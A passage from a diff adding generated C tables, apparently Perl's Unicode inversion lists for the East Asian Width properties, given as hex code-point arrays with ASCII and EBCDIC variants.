+	0xF7,
+	0xFB,
+	0xFC,
+	0xFD,
+	0xFE,
+	0xFF,
+	0x101,
+	0x102,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x11B,
+	0x11C,
+	0x126,
+	0x128,
+	0x12B,
+	0x12C,
+	0x131,
+	0x134,
+	0x138,
+	0x139,
+	0x13F,
+	0x143,
+	0x144,
+	0x145,
+	0x148,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x16B,
+	0x16C,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DD,
+	0x251,
+	0x252,
+	0x261,
+	0x262,
+	0x2C4,
+	0x2C5,
+	0x2C7,
+	0x2C8,
+	0x2C9,
+	0x2CC,
+	0x2CD,
+	0x2CE,
+	0x2D0,
+	0x2D1,
+	0x2D8,
+	0x2DC,
+	0x2DD,
+	0x2DE,
+	0x2DF,
+	0x2E0,
+	0x300,
+	0x370,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AA,
+	0x3B1,
+	0x3C2,
+	0x3C3,
+	0x3CA,
+	0x401,
+	0x402,
+	0x410,
+	0x450,
+	0x451,
+	0x452,
+	0x2010,
+	0x2011,
+	0x2013,
+	0x2017,
+	0x2018,
+	0x201A,
+	0x201C,
+	0x201E,
+	0x2020,
+	0x2023,
+	0x2024,
+	0x2028,
+	0x2030,
+	0x2031,
+	0x2032,
+	0x2034,
+	0x2035,
+	0x2036,
+	0x203B,
+	0x203C,
+	0x203E,
+	0x203F,
+	0x2074,
+	0x2075,
+	0x207F,
+	0x2080,
+	0x2081,
+	0x2085,
+	0x20AC,
+	0x20AD,
+	0x2103,
+	0x2104,
+	0x2105,
+	0x2106,
+	0x2109,
+	0x210A,
+	0x2113,
+	0x2114,
+	0x2116,
+	0x2117,
+	0x2121,
+	0x2123,
+	0x2126,
+	0x2127,
+	0x212B,
+	0x212C,
+	0x2153,
+	0x2155,
+	0x215B,
+	0x215F,
+	0x2160,
+	0x216C,
+	0x2170,
+	0x217A,
+	0x2189,
+	0x218A,
+	0x2190,
+	0x219A,
+	0x21B8,
+	0x21BA,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x21E7,
+	0x21E8,
+	0x2200,
+	0x2201,
+	0x2202,
+	0x2204,
+	0x2207,
+	0x2209,
+	0x220B,
+	0x220C,
+	0x220F,
+	0x2210,
+	0x2211,
+	0x2212,
+	0x2215,
+	0x2216,
+	0x221A,
+	0x221B,
+	0x221D,
+	0x2221,
+	0x2223,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222D,
+	0x222E,
+	0x222F,
+	0x2234,
+	0x2238,
+	0x223C,
+	0x223E,
+	0x2248,
+	0x2249,
+	0x224C,
+	0x224D,
+	0x2252,
+	0x2253,
+	0x2260,
+	0x2262,
+	0x2264,
+	0x2268,
+	0x226A,
+	0x226C,
+	0x226E,
+	0x2270,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x2295,
+	0x2296,
+	0x2299,
+	0x229A,
+	0x22A5,
+	0x22A6,
+	0x22BF,
+	0x22C0,
+	0x2312,
+	0x2313,
+	0x2460,
+	0x24EA,
+	0x24EB,
+	0x254C,
+	0x2550,
+	0x2574,
+	0x2580,
+	0x2590,
+	0x2592,
+	0x2596,
+	0x25A0,
+	0x25A2,
+	0x25A3,
+	0x25AA,
+	0x25B2,
+	0x25B4,
+	0x25B6,
+	0x25B8,
+	0x25BC,
+	0x25BE,
+	0x25C0,
+	0x25C2,
+	0x25C6,
+	0x25C9,
+	0x25CB,
+	0x25CC,
+	0x25CE,
+	0x25D2,
+	0x25E2,
+	0x25E6,
+	0x25EF,
+	0x25F0,
+	0x2605,
+	0x2607,
+	0x2609,
+	0x260A,
+	0x260E,
+	0x2610,
+	0x261C,
+	0x261D,
+	0x261E,
+	0x261F,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2660,
+	0x2662,
+	0x2663,
+	0x2666,
+	0x2667,
+	0x266B,
+	0x266C,
+	0x266E,
+	0x266F,
+	0x2670,
+	0x269E,
+	0x26A0,
+	0x26BF,
+	0x26C0,
+	0x26C6,
+	0x26CE,
+	0x26CF,
+	0x26D4,
+	0x26D5,
+	0x26E2,
+	0x26E3,
+	0x26E4,
+	0x26E8,
+	0x26EA,
+	0x26EB,
+	0x26F2,
+	0x26F4,
+	0x26F5,
+	0x26F6,
+	0x26FA,
+	0x26FB,
+	0x26FD,
+	0x26FE,
+	0x2700,
+	0x273D,
+	0x273E,
+	0x2776,
+	0x2780,
+	0x2B56,
+	0x2B5A,
+	0x3248,
+	0x3250,
+	0xE000,
+	0xF900,
+	0xFE00,
+	0xFE10,
+	0xFFFD,
+	0xFFFE,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12E,
+	0x1F130,
+	0x1F16A,
+	0x1F170,
+	0x1F18E,
+	0x1F18F,
+	0x1F191,
+	0x1F19B,
+	0x1F1AD,
+	0xE0100,
+	0xE01F0,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_EA__A_invlist[] = { /* for EBCDIC 1047 */
+	363,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x44,
+	0x46,
+	0x51,
+	0x53,
+	0x54,
+	0x56,
+	0x58,
+	0x5A,
+	0x70,
+	0x71,
+	0x80,
+	0x81,
+	0x8C,
+	0x8D,
+	0x8E,
+	0x91,
+	0x9A,
+	0xA0,
+	0xAA,
+	0xAD,
+	0xAE,
+	0xB0,
+	0xB3,
+	0xB4,
+	0xB5,
+	0xBA,
+	0xBB,
+	0xBC,
+	0xBE,
+	0xC0,
+	0xCA,
+	0xCB,
+	0xCD,
+	0xCF,
+	0xDA,
+	0xDB,
+	0xDC,
+	0xDF,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x101,
+	0x102,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x11B,
+	0x11C,
+	0x126,
+	0x128,
+	0x12B,
+	0x12C,
+	0x131,
+	0x134,
+	0x138,
+	0x139,
+	0x13F,
+	0x143,
+	0x144,
+	0x145,
+	0x148,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x16B,
+	0x16C,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DD,
+	0x251,
+	0x252,
+	0x261,
+	0x262,
+	0x2C4,
+	0x2C5,
+	0x2C7,
+	0x2C8,
+	0x2C9,
+	0x2CC,
+	0x2CD,
+	0x2CE,
+	0x2D0,
+	0x2D1,
+	0x2D8,
+	0x2DC,
+	0x2DD,
+	0x2DE,
+	0x2DF,
+	0x2E0,
+	0x300,
+	0x370,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AA,
+	0x3B1,
+	0x3C2,
+	0x3C3,
+	0x3CA,
+	0x401,
+	0x402,
+	0x410,
+	0x450,
+	0x451,
+	0x452,
+	0x2010,
+	0x2011,
+	0x2013,
+	0x2017,
+	0x2018,
+	0x201A,
+	0x201C,
+	0x201E,
+	0x2020,
+	0x2023,
+	0x2024,
+	0x2028,
+	0x2030,
+	0x2031,
+	0x2032,
+	0x2034,
+	0x2035,
+	0x2036,
+	0x203B,
+	0x203C,
+	0x203E,
+	0x203F,
+	0x2074,
+	0x2075,
+	0x207F,
+	0x2080,
+	0x2081,
+	0x2085,
+	0x20AC,
+	0x20AD,
+	0x2103,
+	0x2104,
+	0x2105,
+	0x2106,
+	0x2109,
+	0x210A,
+	0x2113,
+	0x2114,
+	0x2116,
+	0x2117,
+	0x2121,
+	0x2123,
+	0x2126,
+	0x2127,
+	0x212B,
+	0x212C,
+	0x2153,
+	0x2155,
+	0x215B,
+	0x215F,
+	0x2160,
+	0x216C,
+	0x2170,
+	0x217A,
+	0x2189,
+	0x218A,
+	0x2190,
+	0x219A,
+	0x21B8,
+	0x21BA,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x21E7,
+	0x21E8,
+	0x2200,
+	0x2201,
+	0x2202,
+	0x2204,
+	0x2207,
+	0x2209,
+	0x220B,
+	0x220C,
+	0x220F,
+	0x2210,
+	0x2211,
+	0x2212,
+	0x2215,
+	0x2216,
+	0x221A,
+	0x221B,
+	0x221D,
+	0x2221,
+	0x2223,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222D,
+	0x222E,
+	0x222F,
+	0x2234,
+	0x2238,
+	0x223C,
+	0x223E,
+	0x2248,
+	0x2249,
+	0x224C,
+	0x224D,
+	0x2252,
+	0x2253,
+	0x2260,
+	0x2262,
+	0x2264,
+	0x2268,
+	0x226A,
+	0x226C,
+	0x226E,
+	0x2270,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x2295,
+	0x2296,
+	0x2299,
+	0x229A,
+	0x22A5,
+	0x22A6,
+	0x22BF,
+	0x22C0,
+	0x2312,
+	0x2313,
+	0x2460,
+	0x24EA,
+	0x24EB,
+	0x254C,
+	0x2550,
+	0x2574,
+	0x2580,
+	0x2590,
+	0x2592,
+	0x2596,
+	0x25A0,
+	0x25A2,
+	0x25A3,
+	0x25AA,
+	0x25B2,
+	0x25B4,
+	0x25B6,
+	0x25B8,
+	0x25BC,
+	0x25BE,
+	0x25C0,
+	0x25C2,
+	0x25C6,
+	0x25C9,
+	0x25CB,
+	0x25CC,
+	0x25CE,
+	0x25D2,
+	0x25E2,
+	0x25E6,
+	0x25EF,
+	0x25F0,
+	0x2605,
+	0x2607,
+	0x2609,
+	0x260A,
+	0x260E,
+	0x2610,
+	0x261C,
+	0x261D,
+	0x261E,
+	0x261F,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2660,
+	0x2662,
+	0x2663,
+	0x2666,
+	0x2667,
+	0x266B,
+	0x266C,
+	0x266E,
+	0x266F,
+	0x2670,
+	0x269E,
+	0x26A0,
+	0x26BF,
+	0x26C0,
+	0x26C6,
+	0x26CE,
+	0x26CF,
+	0x26D4,
+	0x26D5,
+	0x26E2,
+	0x26E3,
+	0x26E4,
+	0x26E8,
+	0x26EA,
+	0x26EB,
+	0x26F2,
+	0x26F4,
+	0x26F5,
+	0x26F6,
+	0x26FA,
+	0x26FB,
+	0x26FD,
+	0x26FE,
+	0x2700,
+	0x273D,
+	0x273E,
+	0x2776,
+	0x2780,
+	0x2B56,
+	0x2B5A,
+	0x3248,
+	0x3250,
+	0xE000,
+	0xF900,
+	0xFE00,
+	0xFE10,
+	0xFFFD,
+	0xFFFE,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12E,
+	0x1F130,
+	0x1F16A,
+	0x1F170,
+	0x1F18E,
+	0x1F18F,
+	0x1F191,
+	0x1F19B,
+	0x1F1AD,
+	0xE0100,
+	0xE01F0,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_EA__A_invlist[] = { /* for EBCDIC 037 */
+	361,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x44,
+	0x46,
+	0x51,
+	0x53,
+	0x54,
+	0x56,
+	0x58,
+	0x5A,
+	0x70,
+	0x71,
+	0x80,
+	0x81,
+	0x8C,
+	0x8D,
+	0x8E,
+	0x91,
+	0x9A,
+	0xA0,
+	0xAA,
+	0xAD,
+	0xAE,
+	0xB0,
+	0xB3,
+	0xB4,
+	0xB5,
+	0xBA,
+	0xBD,
+	0xC0,
+	0xCA,
+	0xCB,
+	0xCD,
+	0xCF,
+	0xDA,
+	0xDB,
+	0xDC,
+	0xDF,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x101,
+	0x102,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x11B,
+	0x11C,
+	0x126,
+	0x128,
+	0x12B,
+	0x12C,
+	0x131,
+	0x134,
+	0x138,
+	0x139,
+	0x13F,
+	0x143,
+	0x144,
+	0x145,
+	0x148,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x16B,
+	0x16C,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DD,
+	0x251,
+	0x252,
+	0x261,
+	0x262,
+	0x2C4,
+	0x2C5,
+	0x2C7,
+	0x2C8,
+	0x2C9,
+	0x2CC,
+	0x2CD,
+	0x2CE,
+	0x2D0,
+	0x2D1,
+	0x2D8,
+	0x2DC,
+	0x2DD,
+	0x2DE,
+	0x2DF,
+	0x2E0,
+	0x300,
+	0x370,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AA,
+	0x3B1,
+	0x3C2,
+	0x3C3,
+	0x3CA,
+	0x401,
+	0x402,
+	0x410,
+	0x450,
+	0x451,
+	0x452,
+	0x2010,
+	0x2011,
+	0x2013,
+	0x2017,
+	0x2018,
+	0x201A,
+	0x201C,
+	0x201E,
+	0x2020,
+	0x2023,
+	0x2024,
+	0x2028,
+	0x2030,
+	0x2031,
+	0x2032,
+	0x2034,
+	0x2035,
+	0x2036,
+	0x203B,
+	0x203C,
+	0x203E,
+	0x203F,
+	0x2074,
+	0x2075,
+	0x207F,
+	0x2080,
+	0x2081,
+	0x2085,
+	0x20AC,
+	0x20AD,
+	0x2103,
+	0x2104,
+	0x2105,
+	0x2106,
+	0x2109,
+	0x210A,
+	0x2113,
+	0x2114,
+	0x2116,
+	0x2117,
+	0x2121,
+	0x2123,
+	0x2126,
+	0x2127,
+	0x212B,
+	0x212C,
+	0x2153,
+	0x2155,
+	0x215B,
+	0x215F,
+	0x2160,
+	0x216C,
+	0x2170,
+	0x217A,
+	0x2189,
+	0x218A,
+	0x2190,
+	0x219A,
+	0x21B8,
+	0x21BA,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x21E7,
+	0x21E8,
+	0x2200,
+	0x2201,
+	0x2202,
+	0x2204,
+	0x2207,
+	0x2209,
+	0x220B,
+	0x220C,
+	0x220F,
+	0x2210,
+	0x2211,
+	0x2212,
+	0x2215,
+	0x2216,
+	0x221A,
+	0x221B,
+	0x221D,
+	0x2221,
+	0x2223,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222D,
+	0x222E,
+	0x222F,
+	0x2234,
+	0x2238,
+	0x223C,
+	0x223E,
+	0x2248,
+	0x2249,
+	0x224C,
+	0x224D,
+	0x2252,
+	0x2253,
+	0x2260,
+	0x2262,
+	0x2264,
+	0x2268,
+	0x226A,
+	0x226C,
+	0x226E,
+	0x2270,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x2295,
+	0x2296,
+	0x2299,
+	0x229A,
+	0x22A5,
+	0x22A6,
+	0x22BF,
+	0x22C0,
+	0x2312,
+	0x2313,
+	0x2460,
+	0x24EA,
+	0x24EB,
+	0x254C,
+	0x2550,
+	0x2574,
+	0x2580,
+	0x2590,
+	0x2592,
+	0x2596,
+	0x25A0,
+	0x25A2,
+	0x25A3,
+	0x25AA,
+	0x25B2,
+	0x25B4,
+	0x25B6,
+	0x25B8,
+	0x25BC,
+	0x25BE,
+	0x25C0,
+	0x25C2,
+	0x25C6,
+	0x25C9,
+	0x25CB,
+	0x25CC,
+	0x25CE,
+	0x25D2,
+	0x25E2,
+	0x25E6,
+	0x25EF,
+	0x25F0,
+	0x2605,
+	0x2607,
+	0x2609,
+	0x260A,
+	0x260E,
+	0x2610,
+	0x261C,
+	0x261D,
+	0x261E,
+	0x261F,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2660,
+	0x2662,
+	0x2663,
+	0x2666,
+	0x2667,
+	0x266B,
+	0x266C,
+	0x266E,
+	0x266F,
+	0x2670,
+	0x269E,
+	0x26A0,
+	0x26BF,
+	0x26C0,
+	0x26C6,
+	0x26CE,
+	0x26CF,
+	0x26D4,
+	0x26D5,
+	0x26E2,
+	0x26E3,
+	0x26E4,
+	0x26E8,
+	0x26EA,
+	0x26EB,
+	0x26F2,
+	0x26F4,
+	0x26F5,
+	0x26F6,
+	0x26FA,
+	0x26FB,
+	0x26FD,
+	0x26FE,
+	0x2700,
+	0x273D,
+	0x273E,
+	0x2776,
+	0x2780,
+	0x2B56,
+	0x2B5A,
+	0x3248,
+	0x3250,
+	0xE000,
+	0xF900,
+	0xFE00,
+	0xFE10,
+	0xFFFD,
+	0xFFFE,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12E,
+	0x1F130,
+	0x1F16A,
+	0x1F170,
+	0x1F18E,
+	0x1F18F,
+	0x1F191,
+	0x1F19B,
+	0x1F1AD,
+	0xE0100,
+	0xE01F0,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_EA__F_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3000,
+	0x3001,
+	0xFF01,
+	0xFF61,
+	0xFFE0,
+	0xFFE7
+};
+
+static const UV PL_EA__H_invlist[] = { /* for all charsets */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20A9,
+	0x20AA,
+	0xFF61,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE8,
+	0xFFEF
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_EA__N_invlist[] = { /* for ASCII/Latin1 */
+	533,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20,
+	0x7F,
+	0xA1,
+	0xA9,
+	0xAA,
+	0xAB,
+	0xAC,
+	0xB5,
+	0xB6,
+	0xBB,
+	0xBC,
+	0xC0,
+	0xC6,
+	0xC7,
+	0xD0,
+	0xD1,
+	0xD7,
+	0xD9,
+	0xDE,
+	0xE2,
+	0xE6,
+	0xE7,
+	0xE8,
+	0xEB,
+	0xEC,
+	0xEE,
+	0xF0,
+	0xF1,
+	0xF2,
+	0xF4,
+	0xF7,
+	0xFB,
+	0xFC,
+	0xFD,
+	0xFE,
+	0xFF,
+	0x101,
+	0x102,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x11B,
+	0x11C,
+	0x126,
+	0x128,
+	0x12B,
+	0x12C,
+	0x131,
+	0x134,
+	0x138,
+	0x139,
+	0x13F,
+	0x143,
+	0x144,
+	0x145,
+	0x148,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x16B,
+	0x16C,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DD,
+	0x251,
+	0x252,
+	0x261,
+	0x262,
+	0x2C4,
+	0x2C5,
+	0x2C7,
+	0x2C8,
+	0x2C9,
+	0x2CC,
+	0x2CD,
+	0x2CE,
+	0x2D0,
+	0x2D1,
+	0x2D8,
+	0x2DC,
+	0x2DD,
+	0x2DE,
+	0x2DF,
+	0x2E0,
+	0x300,
+	0x370,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AA,
+	0x3B1,
+	0x3C2,
+	0x3C3,
+	0x3CA,
+	0x401,
+	0x402,
+	0x410,
+	0x450,
+	0x451,
+	0x452,
+	0x1100,
+	0x1160,
+	0x2010,
+	0x2011,
+	0x2013,
+	0x2017,
+	0x2018,
+	0x201A,
+	0x201C,
+	0x201E,
+	0x2020,
+	0x2023,
+	0x2024,
+	0x2028,
+	0x2030,
+	0x2031,
+	0x2032,
+	0x2034,
+	0x2035,
+	0x2036,
+	0x203B,
+	0x203C,
+	0x203E,
+	0x203F,
+	0x2074,
+	0x2075,
+	0x207F,
+	0x2080,
+	0x2081,
+	0x2085,
+	0x20A9,
+	0x20AA,
+	0x20AC,
+	0x20AD,
+	0x2103,
+	0x2104,
+	0x2105,
+	0x2106,
+	0x2109,
+	0x210A,
+	0x2113,
+	0x2114,
+	0x2116,
+	0x2117,
+	0x2121,
+	0x2123,
+	0x2126,
+	0x2127,
+	0x212B,
+	0x212C,
+	0x2153,
+	0x2155,
+	0x215B,
+	0x215F,
+	0x2160,
+	0x216C,
+	0x2170,
+	0x217A,
+	0x2189,
+	0x218A,
+	0x2190,
+	0x219A,
+	0x21B8,
+	0x21BA,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x21E7,
+	0x21E8,
+	0x2200,
+	0x2201,
+	0x2202,
+	0x2204,
+	0x2207,
+	0x2209,
+	0x220B,
+	0x220C,
+	0x220F,
+	0x2210,
+	0x2211,
+	0x2212,
+	0x2215,
+	0x2216,
+	0x221A,
+	0x221B,
+	0x221D,
+	0x2221,
+	0x2223,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222D,
+	0x222E,
+	0x222F,
+	0x2234,
+	0x2238,
+	0x223C,
+	0x223E,
+	0x2248,
+	0x2249,
+	0x224C,
+	0x224D,
+	0x2252,
+	0x2253,
+	0x2260,
+	0x2262,
+	0x2264,
+	0x2268,
+	0x226A,
+	0x226C,
+	0x226E,
+	0x2270,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x2295,
+	0x2296,
+	0x2299,
+	0x229A,
+	0x22A5,
+	0x22A6,
+	0x22BF,
+	0x22C0,
+	0x2312,
+	0x2313,
+	0x231A,
+	0x231C,
+	0x2329,
+	0x232B,
+	0x23E9,
+	0x23ED,
+	0x23F0,
+	0x23F1,
+	0x23F3,
+	0x23F4,
+	0x2460,
+	0x24EA,
+	0x24EB,
+	0x254C,
+	0x2550,
+	0x2574,
+	0x2580,
+	0x2590,
+	0x2592,
+	0x2596,
+	0x25A0,
+	0x25A2,
+	0x25A3,
+	0x25AA,
+	0x25B2,
+	0x25B4,
+	0x25B6,
+	0x25B8,
+	0x25BC,
+	0x25BE,
+	0x25C0,
+	0x25C2,
+	0x25C6,
+	0x25C9,
+	0x25CB,
+	0x25CC,
+	0x25CE,
+	0x25D2,
+	0x25E2,
+	0x25E6,
+	0x25EF,
+	0x25F0,
+	0x25FD,
+	0x25FF,
+	0x2605,
+	0x2607,
+	0x2609,
+	0x260A,
+	0x260E,
+	0x2610,
+	0x2614,
+	0x2616,
+	0x261C,
+	0x261D,
+	0x261E,
+	0x261F,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2648,
+	0x2654,
+	0x2660,
+	0x2662,
+	0x2663,
+	0x2666,
+	0x2667,
+	0x266B,
+	0x266C,
+	0x266E,
+	0x266F,
+	0x2670,
+	0x267F,
+	0x2680,
+	0x2693,
+	0x2694,
+	0x269E,
+	0x26A0,
+	0x26A1,
+	0x26A2,
+	0x26AA,
+	0x26AC,
+	0x26BD,
+	0x26C0,
+	0x26C4,
+	0x26E2,
+	0x26E3,
+	0x26E4,
+	0x26E8,
+	0x2700,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x273D,
+	0x273E,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x2757,
+	0x2758,
+	0x2776,
+	0x2780,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x27C0,
+	0x27E6,
+	0x27EE,
+	0x2985,
+	0x2987,
+	0x2B1B,
+	0x2B1D,
+	0x2B50,
+	0x2B51,
+	0x2B55,
+	0x2B5A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x303F,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DC0,
+	0x4E00,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA960,
+	0xA97D,
+	0xAC00,
+	0xD7A4,
+	0xE000,
+	0xFB00,
+	0xFE00,
+	0xFE1A,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFFD,
+	0xFFFE,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1F004,
+	0x1F005,
+	0x1F0CF,
+	0x1F0D0,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12E,
+	0x1F130,
+	0x1F16A,
+	0x1F170,
+	0x1F1AD,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F321,
+	0x1F32D,
+	0x1F336,
+	0x1F337,
+	0x1F37D,
+	0x1F37E,
+	0x1F394,
+	0x1F3A0,
+	0x1F3CB,
+	0x1F3CF,
+	0x1F3D4,
+	0x1F3E0,
+	0x1F3F1,
+	0x1F3F4,
+	0x1F3F5,
+	0x1F3F8,
+	0x1F43F,
+	0x1F440,
+	0x1F441,
+	0x1F442,
+	0x1F4FD,
+	0x1F4FF,
+	0x1F53E,
+	0x1F54B,
+	0x1F54F,
+	0x1F550,
+	0x1F568,
+	0x1F57A,
+	0x1F57B,
+	0x1F595,
+	0x1F597,
+	0x1F5A4,
+	0x1F5A5,
+	0x1F5FB,
+	0x1F650,
+	0x1F680,
+	0x1F6C6,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F6D0,
+	0x1F6D3,
+	0x1F6EB,
+	0x1F6ED,
+	0x1F6F4,
+	0x1F6F9,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0xE0100,
+	0xE01F0,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_EA__N_invlist[] = { /* for EBCDIC 1047 */
+	531,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0x41,
+	0x44,
+	0x46,
+	0x4A,
+	0x53,
+	0x54,
+	0x56,
+	0x58,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x8A,
+	0x8C,
+	0x8D,
+	0x8E,
+	0xA0,
+	0xA1,
+	0xB4,
+	0xB5,
+	0xBA,
+	0xBB,
+	0xCB,
+	0xCD,
+	0xCF,
+	0xD0,
+	0xDB,
+	0xDC,
+	0xDF,
+	0xE0,
+	0xEB,
+	0xF0,
+	0xFB,
+	0x101,
+	0x102,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x11B,
+	0x11C,
